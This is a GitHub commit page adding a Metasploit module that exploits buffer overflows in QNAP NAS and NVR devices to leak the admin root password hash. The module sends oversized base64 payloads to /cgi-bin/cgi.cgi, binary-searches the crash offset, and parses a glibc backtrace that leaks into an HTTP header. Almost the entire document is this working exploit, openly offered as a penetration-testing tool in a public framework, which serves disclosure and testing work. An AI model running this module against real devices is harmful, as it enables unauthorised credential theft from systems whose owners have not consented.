Skip to content

Commit

Permalink
Add QNAP admin hash "disclosure"
Browse files Browse the repository at this point in the history
  • Loading branch information
wvu committed Feb 14, 2017
1 parent 843f559 commit 12576c6
Showing 1 changed file with 178 additions and 0 deletions.
178 changes: 178 additions & 0 deletions modules/auxiliary/gather/qnap_admin_hash.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,178 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP NAS/NVR Administrator Hash Disclosure',
'Description' => %q{
This module exploits combined heap and stack buffer overflows for QNAP
NAS and NVR devices to dump the admin (root) shadow hash from memory via
the glibc backtrace displayed as a false HTTP header.
Note: you may need to run this more than once and with diagnostics on.
},
'Author' => [
'bashis', # Vuln/PoC
'wvu', # Module
'Donald Knuth' # Algorithm
],
'References' => [
['URL', 'http://seclists.org/fulldisclosure/2017/Feb/2'],
['URL', 'https://en.wikipedia.org/wiki/Binary_search_algorithm']
],
'DisclosureDate' => 'Jan 31 2017',
'License' => MSF_LICENSE,
# Total anarchy!
'Actions' => [
['x86', 'Description' => 'x86 target', offset: 0x16b2],
# TODO: ARM is not tested yet
['ARM', 'Description' => 'ARM target', offset: 0x1562]
],
'DefaultAction' => 'x86'
))

register_options([
OptInt.new('OFFSET_START', [true, 'Starting offset (crash)', 2000]),
OptInt.new('OFFSET_END', [true, 'Ending offset (no crash)', 5000])
])

register_advanced_options([
OptBool.new('DEBUG', [false, 'Print debugging messages', false])
])
end

# TODO: Make this more useful
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/authLogin.cgi'
)

if res && res.code == 200
vprint_status(res.body)
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
end

def run
if (hash = dump_hash)
# TODO: Save this to creds
print_good("Hopefully this is your hash: #{hash}")
else
print_error('The pool on the roof must have a leak')
end
end

def dump_hash
hash = nil

# 1
l = datastore['OFFSET_START']
r = datastore['OFFSET_END']

start = Time.now
t = binsearch(l, r)
stop = Time.now

return if t.nil? || @offset.nil?

time = stop - start
msg = "Binary search of #{l}-#{r} completed in #{time}s"
vprint_status(msg)

offset = @offset - action[:offset]

# Off by one or two...
(1..2).each do |i|
if (res = send_request(t + i, [offset].pack('V')))
if (backtrace = find_backtrace(res))
token = backtrace[0].split[4]
end
end
if token && token.start_with?('$1$')
addr = "0x#{offset.to_s(16)}"
msg = "Admin hash at #{addr} with offset #{t + i}"
vprint_status(msg)
hash = token
break
end
end

hash
end

# Shamelessly stolen from Knuth
def binsearch(l, r)
# 2
return if l > r

# 3
@m = ((l + r) / 2).floor
print_debug(@m.to_s)

res = send_request(@m)

return if res.nil?

# Diagnostics for my sorry ass
print_debug(res.request)
print_debug(res.headers.to_s)

# 4
if find_backtrace(res)
l = @m + 1
# 5
else
r = @m - 1
end

binsearch(l, r)

# 6
@m
end

def send_request(m, ret = nil)
# XXX: Some badchars in here...
payload = Rex::Text.encode_base64(
#Rex::Text.rand_text(1) * m +
"\xff" * m +
#(ret ? ret : Rex::Text.rand_text(4))
(ret ? ret : 'AAAA')
)

send_request_cgi(
'method' => 'GET',
'uri' => '/cgi-bin/cgi.cgi',
#'vhost' => 'Q',
'vars_get' => {
'u' => 'admin',
'p' => payload
}
)
end

def find_backtrace(res)
res.headers.find do |k, v|
if k.include?('glibc detected')
@offset = v.split[-2].to_i(16)
end
end
end

# ye olde print_debug
def print_debug(msg = '')
if datastore['DEBUG']
print_line("%bld%cya[!]%clr #{msg}")
end
end

end

0 comments on commit 12576c6

Please sign in to comment.